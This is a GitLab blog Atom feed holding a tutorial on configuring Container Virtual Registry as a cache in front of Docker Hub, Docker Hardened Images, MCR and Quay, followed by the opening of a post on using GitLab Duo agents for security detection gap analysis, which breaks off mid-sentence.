<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://about.gitlab.com/blog</id>
    <title>GitLab</title>
    <updated>2026-03-12T21:27:52.896Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <author>
        <name>The GitLab Team</name>
    </author>
    <link rel="alternate" href="https://about.gitlab.com/blog"/>
    <link rel="self" href="https://about.gitlab.com/atom.xml"/>
    <subtitle>GitLab Blog RSS feed</subtitle>
    <icon>https://about.gitlab.com/favicon.ico</icon>
    <rights>All rights reserved 2026</rights>
    <entry>
        <title type="html"><![CDATA[How to use GitLab Container Virtual Registry with Docker Hardened Images]]></title>
        <id>https://about.gitlab.com/blog/using-gitlab-container-virtual-registry-with-docker-hardened-images/</id>
        <link href="https://about.gitlab.com/blog/using-gitlab-container-virtual-registry-with-docker-hardened-images/"/>
        <updated>2026-03-12T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>If you&#39;re a platform engineer, you&#39;ve probably had this conversation:</p><p><em>&quot;Security says we need to use hardened base images.&quot;</em></p><p><em>&quot;Great, where do I configure credentials for yet another registry?&quot;</em></p><p><em>&quot;Also, how do we make sure everyone actually uses them?&quot;</em></p><p>Or this one:</p><p><em>&quot;Why are our builds so slow?&quot;</em></p><p><em>&quot;We&#39;re pulling the same 500MB image from Docker Hub in every single job.&quot;</em></p><p><em>&quot;Can&#39;t we just cache these somewhere?&quot;</em></p><p>I&#39;ve been working on <a href="https://docs.gitlab.com/user/packages/virtual_registry/container/" rel="">Container Virtual Registry</a> at GitLab specifically to solve these problems. It&#39;s a pull-through cache that sits in front of your upstream registries — Docker Hub, dhi.io (Docker Hardened Images), MCR, and Quay — and gives your teams a single endpoint to pull from. Images get cached on the first pull. Subsequent pulls come from the cache. Your developers don&#39;t need to know or care which upstream a particular image came from.</p><p>This article shows you how to set up Container Virtual Registry, specifically with Docker Hardened Images in mind, since that&#39;s a combination that makes a lot of sense for teams concerned about security and not making their developers&#39; lives harder.</p><h2 id="what-problem-are-we-actually-solving">What problem are we actually solving?</h2><p>The Platform teams I usually talk to manage container images across three to five registries:</p><ul><li><strong>Docker Hub</strong> for most base images</li><li><strong>dhi.io</strong> for Docker Hardened Images (security-conscious workloads)</li><li><strong>MCR</strong> for .NET and Azure tooling</li><li><strong>Quay.io</strong> for Red Hat ecosystem stuff</li><li><strong>Internal registries</strong> for proprietary images</li></ul><p>Each one has its own:</p><ul><li>Authentication mechanism</li><li>Network latency characteristics</li><li>Way of organizing image paths</li></ul><p>Your CI/CD configs end up littered with registry-specific logic. Credential management becomes a project unto itself. And every pipeline job pulls the same base images over the network, even though they haven&#39;t changed in weeks.</p><p>Container Virtual Registry consolidates this. One registry URL. One authentication flow (GitLab&#39;s). Cached images are served from GitLab&#39;s infrastructure rather than traversing the internet each time.</p><h2 id="how-it-works">How it works</h2><p>The model is straightforward:</p><pre className="language-text" code="Your pipeline pulls:
  gitlab.com/virtual_registries/container/1000016/python:3.13

Virtual registry checks:
  1. Do I have this cached? → Return it
  2. No? → Fetch from upstream, cache it, return it

" language="text" meta=""><code>Your pipeline pulls:
  gitlab.com/virtual_registries/container/1000016/python:3.13

Virtual registry checks:
  1. Do I have this cached? → Return it
  2. No? → Fetch from upstream, cache it, return it

</code></pre><p>You configure upstreams in priority order. When a pull request comes in, the virtual registry checks each upstream until it finds the image. The result gets cached for a configurable period (default 24 hours).</p><pre className="language-text" code="┌─────────────────────────────────────────────────────────┐
│                    CI/CD Pipeline                       │
│                          │                              │
│                          ▼                              │
│   gitlab.com/virtual_registries/container/&lt;id&gt;/image   │
└─────────────────────────────────────────────────────────┘
                           │
                           ▼
┌─────────────────────────────────────────────────────────┐
│            Container Virtual Registry                   │
│                                                         │
│  Upstream 1: Docker Hub ────────────────┐               │
│  Upstream 2: dhi.io (Hardened) ────────┐│               │
│  Upstream 3: MCR ─────────────────────┐││               │
│  Upstream 4: Quay.io ────────────────┐│││               │
│                                      ││││               │
│                    ┌─────────────────┴┴┴┴──┐            │
│                    │        Cache          │            │
│                    │  (manifests + layers) │            │
│                    └───────────────────────┘            │
└─────────────────────────────────────────────────────────┘
" language="text" meta=""><code>┌─────────────────────────────────────────────────────────┐
│                    CI/CD Pipeline                       │
│                          │                              │
│                          ▼                              │
│   gitlab.com/virtual_registries/container/&lt;id&gt;/image   │
└─────────────────────────────────────────────────────────┘
                           │
                           ▼
┌─────────────────────────────────────────────────────────┐
│            Container Virtual Registry                   │
│                                                         │
│  Upstream 1: Docker Hub ────────────────┐               │
│  Upstream 2: dhi.io (Hardened) ────────┐│               │
│  Upstream 3: MCR ─────────────────────┐││               │
│  Upstream 4: Quay.io ────────────────┐│││               │
│                                      ││││               │
│                    ┌─────────────────┴┴┴┴──┐            │
│                    │        Cache          │            │
│                    │  (manifests + layers) │            │
│                    └───────────────────────┘            │
└─────────────────────────────────────────────────────────┘
</code></pre><h2 id="why-this-matters-for-docker-hardened-images">Why this matters for Docker Hardened Images</h2><p><a href="https://docs.docker.com/dhi/" rel="">Docker Hardened Images</a> are great because of the minimal attack surface, near-zero CVEs, proper software bills of materials (SBOMs), and SLSA provenance. If you&#39;re evaluating base images for security-sensitive workloads, they should be on your list.</p><p>But adopting them creates the same operational friction as any new registry:</p><ul><li><strong>Credential distribution</strong>: You need to get Docker credentials to every system that pulls images from dhi.io.</li><li><strong>CI/CD changes</strong>: Every pipeline needs to be updated to authenticate with dhi.io.</li><li><strong>Developer friction</strong>: People need to remember to use the hardened variants.</li><li><strong>Visibility gap</strong>: It&#39;s difficulat to tell if teams are actually using hardened images vs. regular ones.</li></ul><p>Virtual registry addresses each of these:</p><p><strong>Single credential</strong>: Teams authenticate to GitLab. The virtual registry handles upstream authentication. You configure Docker credentials once, at the registry level, and they apply to all pulls.</p><p><strong>No CI/CD changes per-team</strong>: Point pipelines at your virtual registry. Done. The upstream configuration is centralized.</p><p><strong>Gradual adoption</strong>: Since images get cached with their full path, you can see in the cache what&#39;s being pulled. If someone&#39;s pulling <code className="">library/python:3.11</code> instead of the hardened variant, you&#39;ll know.</p><p><strong>Audit trail</strong>: The cache shows you exactly which images are in active use. Useful for compliance, useful for understanding what your fleet actually depends on.</p><h2 id="setting-it-up">Setting it up</h2><p>Here&#39;s a real setup using the Python client from this demo project.</p><h3 id="create-the-virtual-registry">Create the virtual registry</h3><pre className="language-python shiki shiki-themes github-light" code="from virtual_registry_client import VirtualRegistryClient

client = VirtualRegistryClient()

registry = client.create_virtual_registry(
    group_id=&quot;785414&quot;,  # Your top-level group ID
    name=&quot;platform-images&quot;,
    description=&quot;Cached container images for platform teams&quot;
)

print(f&quot;Registry ID: {registry[&#39;id&#39;]}&quot;)
# You&#39;ll need this ID for the pull URL
" language="python" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#D73A49">from</span><span style="--shiki-default:#24292E"> virtual_registry_client </span><span style="--shiki-default:#D73A49">import</span><span style="--shiki-default:#24292E"> VirtualRegistryClient
</span></span><span class="line" line="2"><span emptyLinePlaceholder>
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">client </span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E"> VirtualRegistryClient()
</span></span><span class="line" line="4"><span emptyLinePlaceholder>
</span></span><span class="line" line="5"><span style="--shiki-default:#24292E">registry </span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E"> client.create_virtual_registry(
</span></span><span class="line" line="6"><span style="--shiki-default:#E36209">    group_id</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;785414&quot;</span><span style="--shiki-default:#24292E">,  </span><span style="--shiki-default:#6A737D"># Your top-level group ID
</span></span><span class="line" line="7"><span style="--shiki-default:#E36209">    name</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;platform-images&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="8"><span style="--shiki-default:#E36209">    description</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;Cached container images for platform teams&quot;
</span></span><span class="line" line="9"><span style="--shiki-default:#24292E">)
</span></span><span class="line" line="10"><span emptyLinePlaceholder>
</span></span><span class="line" line="11"><span style="--shiki-default:#005CC5">print</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#D73A49">f</span><span style="--shiki-default:#032F62">&quot;Registry ID: </span><span style="--shiki-default:#005CC5">{</span><span style="--shiki-default:#24292E">registry[</span><span style="--shiki-default:#032F62">&#39;id&#39;</span><span style="--shiki-default:#24292E">]</span><span style="--shiki-default:#005CC5">}</span><span style="--shiki-default:#032F62">&quot;</span><span style="--shiki-default:#24292E">)
</span></span><span class="line" line="12"><span style="--shiki-default:#6A737D"># You&#39;ll need this ID for the pull URL
</span></span></code></pre><h3 id="add-docker-hub-as-an-upstream">Add Docker Hub as an upstream</h3><p>For official images like Alpine, Python, etc.:</p><pre className="language-python shiki shiki-themes github-light" code="docker_upstream = client.create_upstream(
    registry_id=registry[&#39;id&#39;],
    url=&quot;https://registry-1.docker.io&quot;,
    name=&quot;Docker Hub&quot;,
    cache_validity_hours=24
)
" language="python" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#24292E">docker_upstream </span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E"> client.create_upstream(
</span></span><span class="line" line="2"><span style="--shiki-default:#E36209">    registry_id</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E">registry[</span><span style="--shiki-default:#032F62">&#39;id&#39;</span><span style="--shiki-default:#24292E">],
</span></span><span class="line" line="3"><span style="--shiki-default:#E36209">    url</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;https://registry-1.docker.io&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="4"><span style="--shiki-default:#E36209">    name</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;Docker Hub&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="5"><span style="--shiki-default:#E36209">    cache_validity_hours</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#005CC5">24
</span></span><span class="line" line="6"><span style="--shiki-default:#24292E">)
</span></span></code></pre><h3 id="add-docker-hardened-images-dhiio">Add Docker Hardened Images (dhi.io)</h3><p>Docker Hardened Images are hosted on <code className="">dhi.io</code>, a separate registry that requires authentication:</p><pre className="language-python shiki shiki-themes github-light" code="dhi_upstream = client.create_upstream(
    registry_id=registry[&#39;id&#39;],
    url=&quot;https://dhi.io&quot;,
    name=&quot;Docker Hardened Images&quot;,
    username=&quot;your-docker-username&quot;,
    password=&quot;your-docker-access-token&quot;,
    cache_validity_hours=24
)
" language="python" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#24292E">dhi_upstream </span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E"> client.create_upstream(
</span></span><span class="line" line="2"><span style="--shiki-default:#E36209">    registry_id</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E">registry[</span><span style="--shiki-default:#032F62">&#39;id&#39;</span><span style="--shiki-default:#24292E">],
</span></span><span class="line" line="3"><span style="--shiki-default:#E36209">    url</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;https://dhi.io&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="4"><span style="--shiki-default:#E36209">    name</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;Docker Hardened Images&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="5"><span style="--shiki-default:#E36209">    username</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;your-docker-username&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="6"><span style="--shiki-default:#E36209">    password</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;your-docker-access-token&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="7"><span style="--shiki-default:#E36209">    cache_validity_hours</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#005CC5">24
</span></span><span class="line" line="8"><span style="--shiki-default:#24292E">)
</span></span></code></pre><h3 id="add-other-upstreams">Add other upstreams</h3><pre className="language-python shiki shiki-themes github-light" code="# MCR for .NET teams
client.create_upstream(
    registry_id=registry[&#39;id&#39;],
    url=&quot;https://mcr.microsoft.com&quot;,
    name=&quot;Microsoft Container Registry&quot;,
    cache_validity_hours=48
)

# Quay for Red Hat stuff
client.create_upstream(
    registry_id=registry[&#39;id&#39;],
    url=&quot;https://quay.io&quot;,
    name=&quot;Quay.io&quot;,
    cache_validity_hours=24
)
" language="python" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#6A737D"># MCR for .NET teams
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">client.create_upstream(
</span></span><span class="line" line="3"><span style="--shiki-default:#E36209">    registry_id</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E">registry[</span><span style="--shiki-default:#032F62">&#39;id&#39;</span><span style="--shiki-default:#24292E">],
</span></span><span class="line" line="4"><span style="--shiki-default:#E36209">    url</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;https://mcr.microsoft.com&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="5"><span style="--shiki-default:#E36209">    name</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;Microsoft Container Registry&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="6"><span style="--shiki-default:#E36209">    cache_validity_hours</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#005CC5">48
</span></span><span class="line" line="7"><span style="--shiki-default:#24292E">)
</span></span><span class="line" line="8"><span emptyLinePlaceholder>
</span></span><span class="line" line="9"><span style="--shiki-default:#6A737D"># Quay for Red Hat stuff
</span></span><span class="line" line="10"><span style="--shiki-default:#24292E">client.create_upstream(
</span></span><span class="line" line="11"><span style="--shiki-default:#E36209">    registry_id</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E">registry[</span><span style="--shiki-default:#032F62">&#39;id&#39;</span><span style="--shiki-default:#24292E">],
</span></span><span class="line" line="12"><span style="--shiki-default:#E36209">    url</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;https://quay.io&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="13"><span style="--shiki-default:#E36209">    name</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;Quay.io&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="14"><span style="--shiki-default:#E36209">    cache_validity_hours</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#005CC5">24
</span></span><span class="line" line="15"><span style="--shiki-default:#24292E">)
</span></span></code></pre><h3 id="update-your-cicd">Update your CI/CD</h3><p>Here&#39;s a <code className="">.gitlab-ci.yml</code> that pulls through the virtual registry:</p><pre className="language-yaml shiki shiki-themes github-light" code="variables:
  VIRTUAL_REGISTRY_ID: &lt;your_virtual_registry_ID&gt;

  
build:
  image: docker:24
  services:
    - docker:24-dind
  before_script:
    # Authenticate to GitLab (which handles upstream auth for you)
    - echo &quot;${CI_JOB_TOKEN}&quot; | docker login -u gitlab-ci-token --password-stdin gitlab.com
  script:
    # All of these go through your single virtual registry
    
    # Official Docker Hub images (use library/ prefix)
    - docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/library/alpine:latest
    
    # Docker Hardened Images from dhi.io (no prefix needed)
    - docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/python:3.13
    
    # .NET from MCR
    - docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/dotnet/sdk:8.0
" language="yaml" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#22863A">variables</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="2"><span style="--shiki-default:#22863A">  VIRTUAL_REGISTRY_ID</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&lt;your_virtual_registry_ID&gt;
</span></span><span class="line" line="3"><span emptyLinePlaceholder>
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">  
</span></span><span class="line" line="5"><span style="--shiki-default:#22863A">build</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="6"><span style="--shiki-default:#22863A">  image</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">docker:24
</span></span><span class="line" line="7"><span style="--shiki-default:#22863A">  services</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="8"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">docker:24-dind
</span></span><span class="line" line="9"><span style="--shiki-default:#22863A">  before_script</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="10"><span style="--shiki-default:#6A737D">    # Authenticate to GitLab (which handles upstream auth for you)
</span></span><span class="line" line="11"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">echo &quot;${CI_JOB_TOKEN}&quot; | docker login -u gitlab-ci-token --password-stdin gitlab.com
</span></span><span class="line" line="12"><span style="--shiki-default:#22863A">  script</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="13"><span style="--shiki-default:#6A737D">    # All of these go through your single virtual registry
</span></span><span class="line" line="14"><span style="--shiki-default:#24292E">    
</span></span><span class="line" line="15"><span style="--shiki-default:#6A737D">    # Official Docker Hub images (use library/ prefix)
</span></span><span class="line" line="16"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/library/alpine:latest
</span></span><span class="line" line="17"><span style="--shiki-default:#24292E">    
</span></span><span class="line" line="18"><span style="--shiki-default:#6A737D">    # Docker Hardened Images from dhi.io (no prefix needed)
</span></span><span class="line" line="19"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/python:3.13
</span></span><span class="line" line="20"><span style="--shiki-default:#24292E">    
</span></span><span class="line" line="21"><span style="--shiki-default:#6A737D">    # .NET from MCR
</span></span><span class="line" line="22"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/dotnet/sdk:8.0
</span></span></code></pre><h3 id="image-path-formats">Image path formats</h3><p>Different registries use different path conventions:</p><table><thead><tr><th>Registry</th><th>Pull URL Example</th></tr></thead><tbody><tr><td>Docker Hub (official)</td><td><code className="">.../library/python:3.11-slim</code></td></tr><tr><td>Docker Hardened Images (dhi.io)</td><td><code className="">.../python:3.13</code></td></tr><tr><td>MCR</td><td><code className="">.../dotnet/sdk:8.0</code></td></tr><tr><td>Quay.io</td><td><code className="">.../prometheus/prometheus:latest</code></td></tr></tbody></table><h3 id="verify-its-working">Verify it&#39;s working</h3><p>After some pulls, check your cache:</p><pre className="language-python shiki shiki-themes github-light" code="upstreams = client.list_registry_upstreams(registry[&#39;id&#39;])
for upstream in upstreams:
    entries = client.list_cache_entries(upstream[&#39;id&#39;])
    print(f&quot;{upstream[&#39;name&#39;]}: {len(entries)} cached entries&quot;)

" language="python" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#24292E">upstreams </span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E"> client.list_registry_upstreams(registry[</span><span style="--shiki-default:#032F62">&#39;id&#39;</span><span style="--shiki-default:#24292E">])
</span></span><span class="line" line="2"><span style="--shiki-default:#D73A49">for</span><span style="--shiki-default:#24292E"> upstream </span><span style="--shiki-default:#D73A49">in</span><span style="--shiki-default:#24292E"> upstreams:
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">    entries </span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E"> client.list_cache_entries(upstream[</span><span style="--shiki-default:#032F62">&#39;id&#39;</span><span style="--shiki-default:#24292E">])
</span></span><span class="line" line="4"><span style="--shiki-default:#005CC5">    print</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#D73A49">f</span><span style="--shiki-default:#032F62">&quot;</span><span style="--shiki-default:#005CC5">{</span><span style="--shiki-default:#24292E">upstream[</span><span style="--shiki-default:#032F62">&#39;name&#39;</span><span style="--shiki-default:#24292E">]</span><span style="--shiki-default:#005CC5">}</span><span style="--shiki-default:#032F62">: </span><span style="--shiki-default:#005CC5">{len</span><span style="--shiki-default:#24292E">(entries)</span><span style="--shiki-default:#005CC5">}</span><span style="--shiki-default:#032F62"> cached entries&quot;</span><span style="--shiki-default:#24292E">)
</span></span></code></pre><h2 id="what-the-numbers-look-like">What the numbers look like</h2><p>I ran tests pulling images through the virtual registry:</p><table><thead><tr><th>Metric</th><th>Without Cache</th><th>With Warm Cache</th></tr></thead><tbody><tr><td>Pull time (Alpine)</td><td>10.3s</td><td>4.2s</td></tr><tr><td>Pull time (Python 3.13 DHI)</td><td>11.6s</td><td>~4s</td></tr><tr><td>Network roundtrips to upstream</td><td>Every pull</td><td>Cache misses only</td></tr></tbody></table><p>The first pull is the same speed (it has to fetch from upstream). Every pull after that, for the cache validity period, comes straight from GitLab&#39;s storage. No network hop to Docker Hub, dhi.io, MCR, or wherever the image lives.</p><p>For a team running hundreds of pipeline jobs per day, that&#39;s hours of cumulative build time saved.</p><h2 id="practical-considerations">Practical considerations</h2><p>Here are some considerations to keep in mind:</p><h3 id="cache-validity">Cache validity</h3><p>24 hours is the default. For security-sensitive images where you want patches quickly, consider 12 hours or less:</p><pre className="language-python shiki shiki-themes github-light" code="client.create_upstream(
    registry_id=registry[&#39;id&#39;],
    url=&quot;https://dhi.io&quot;,
    name=&quot;Docker Hardened Images&quot;,
    username=&quot;your-username&quot;,
    password=&quot;your-token&quot;,
    cache_validity_hours=12
)
" language="python" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#24292E">client.create_upstream(
</span></span><span class="line" line="2"><span style="--shiki-default:#E36209">    registry_id</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E">registry[</span><span style="--shiki-default:#032F62">&#39;id&#39;</span><span style="--shiki-default:#24292E">],
</span></span><span class="line" line="3"><span style="--shiki-default:#E36209">    url</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;https://dhi.io&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="4"><span style="--shiki-default:#E36209">    name</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;Docker Hardened Images&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="5"><span style="--shiki-default:#E36209">    username</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;your-username&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="6"><span style="--shiki-default:#E36209">    password</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;your-token&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="7"><span style="--shiki-default:#E36209">    cache_validity_hours</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#005CC5">12
</span></span><span class="line" line="8"><span style="--shiki-default:#24292E">)
</span></span></code></pre><p>For stable, infrequently-updated images (like specific version tags), longer validity is fine.</p><h3 id="upstream-priority">Upstream priority</h3><p>Upstreams are checked in order. If you have images with the same name on different registries, the first matching upstream wins.</p><h3 id="limits">Limits</h3><ul><li>Maximum of 20 virtual registries per group</li><li>Maximum of 20 upstreams per virtual registry</li></ul><h2 id="configuration-via-ui">Configuration via UI</h2><p>You can also configure virtual registries and upstreams directly from the GitLab UI—no API calls required. Navigate to your group&#39;s <strong>Settings &gt; Packages and registries &gt; Virtual Registry</strong> to:</p><ul><li>Create and manage virtual registries</li><li>Add, edit, and reorder upstream registries</li><li>View and manage the cache</li><li>Monitor which images are being pulled</li></ul><h2 id="whats-next">What&#39;s next</h2><p>We&#39;re actively developing:</p><ul><li><strong>Allow/deny lists</strong>: Use regex to control which images can be pulled from specific upstreams.</li></ul><p>This is beta software. It works, people are using it in production, but we&#39;re still iterating based on feedback.</p><h2 id="share-your-feedback">Share your feedback</h2><p>If you&#39;re a platform engineer dealing with container registry sprawl, I&#39;d like to understand your setup:</p><ul><li>How many upstream registries are you managing?</li><li>What&#39;s your biggest pain point with the current state?</li><li>Would something like this help, and if not, what&#39;s missing?</li></ul><p>Please share your experiences in the <a href="https://gitlab.com/gitlab-org/gitlab/-/work_items/589630" rel="">Container Virtual Registry feedback issue</a>.</p><h2 id="related-resources">Related resources</h2><ul><li><a href="https://about.gitlab.com/blog/new-gitlab-metrics-and-registry-features-help-reduce-ci-cd-bottlenecks/#container-virtual-registry" rel="">New GitLab metrics and registry features help reduce CI/CD bottlenecks</a></li><li><a href="https://docs.gitlab.com/user/packages/virtual_registry/container/" rel="">Container Virtual Registry documentation</a></li><li><a href="https://docs.gitlab.com/api/container_virtual_registries/" rel="">Container Virtual Registry API</a></li></ul><style>html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Tim Rizzi</name>
            <uri>https://about.gitlab.com/blog/authors/tim-rizzi/</uri>
        </author>
        <published>2026-03-12T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Automating detection gap analysis with GitLab Duo Agent Platform]]></title>
        <id>https://about.gitlab.com/blog/automating-detection-gap-analysis-with-gitlab-duo-agent-platform/</id>
        <link href="https://about.gitlab.com/blog/automating-detection-gap-analysis-with-gitlab-duo-agent-platform/"/>
        <updated>2026-03-10T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>After an incident wraps up, every incident response or security operations center faces the same uncomfortable question: What did we miss, and why? Answering that question well takes real work — someone has to read through the incident timeline, map the attacker&#39;s actions to detection opportunities, identify the alerts that should have fired but didn&#39;t, and translate those findings into concrete improvements. Done manually, it&#39;s time-consuming, inconsistent, and easy to deprioritize when the next incident is already knocking.</p><p>At GitLab, our Signals Engineering team is responsible for building and maintaining the detections that protect the platform and the company. We deal with the same detection gap problem that every security team does so we’ve automated detection gap analysis with <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">GitLab Duo Agent Platform</a> to improve our assessment of those gaps and how we can close them.</p><p>In this article, you&#39;ll learn our strategy, which includes two AI agents you can use in your environment: the built-in Security Analyst Agent and a custom agent we built and named the Detection Engineering Assistant.</p><h2 id="the-detection-gap-problem">The detection gap problem</h2><p>A detection gap is exactly what it sounds like: an attacker took an action, and your detections didn&#39;t catch it. Gap analysis is the process of systematically reviewing security incidents to identify those missed opportunities and determine what new or improved detections would close them.</p><p>The challenge isn&#39;t that gap analysis is conceptually hard. It&#39;s that it requires careful, methodical reading of incident data and mapping those events to your detection coverage. For a single incident, a skilled analyst can do it well. But across a steady stream of incidents, with multiple engineers contributing, it&#39;s difficult to maintain consistency and easy to let the review become shallow.</p><p>We wanted a process that was repeatable, thorough, and embedded directly in the workflow where our security incidents already live: GitLab issues.</p><h2 id="what-is-gitlab-duo-agent-platform">What is GitLab Duo Agent Platform?</h2><p><a href="https://about.gitlab.com/blog/gitlab-duo-agent-platform-is-generally-available/" rel="">GitLab Duo Agent Platform</a> is GitLab&#39;s framework for building and deploying agentic AI agents that can reason, take actions, and integrate natively with GitLab resources like issues, merge requests, and code. Unlike a simple chat interface, agents in Duo Agent Platform can be given specific roles, domain knowledge, and access to tools, making them effective for domain-specific workflows like security operations.</p><p>GitLab Duo Agent Platform gives you two practical paths:</p><ol><li><strong>Use a pre-built agent</strong> — GitLab ships several out-of-the-box agents, including a Security Analyst Agent designed for security-related tasks.</li><li><strong>Build your own agent</strong> — You can create a custom agent in just a few minutes by giving it a name, a description, and a system prompt. The system prompt is where the real power lies.</li></ol><p>Both paths are viable for detection gap analysis. Let&#39;s look at each.</p><h2 id="_1-security-analyst-agent">1. Security Analyst Agent</h2><p>The easiest way to get started is with <a href="https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/" rel="">Security Analyst Agent</a>, which comes pre-configured with security domain knowledge and can be invoked directly from a GitLab issue.</p><p>To use the agent for gap analysis, we navigate to a closed incident issue and ask the agent to review the incident description, timeline, tasks, and comments to identify where detections were absent or insufficient. The agent reads the issue content — including comments, linked artifacts, and timeline details — and reasons over it to surface potential gaps. It can identify undetected tactics, techniques, and procedures (TTPs) mapped to MITRE ATT&amp;CK and suggest areas where new detection rules could improve coverage.</p><p>This works well for a quick first pass, especially if your incident issues are well-documented. Security Analyst Agent is knowledgeable about general security concepts, common attacker behaviors, and detection principles. For teams just getting started with AI-assisted operations, it provides immediate value with no configuration required.</p><p>That said, the pre-built agent doesn&#39;t know your specific environment, including your SIEM, your log sources, your detection stack, or your team&#39;s detection engineering standards. For us, that meant the recommendations, while valid in general, sometimes missed the specific context we needed to translate them into actionable detections. That&#39;s what led us to build our own agent.</p><h2 id="_2-building-the-detection-engineering-assistant">2. Building the Detection Engineering Assistant</h2><p><a href="https://docs.gitlab.com/user/duo_agent_platform/agents/custom/" rel="">Creating a custom agent in GitLab Duo Agent Platform</a> is surprisingly straightforward. From the Duo Agent Platform interface, you give the agent a name (we called ours the <strong>Detection Engineering Assistant</strong>), a brief description, and a system prompt. That&#39;s it. The agent is ready to use.</p><p>The system prompt is 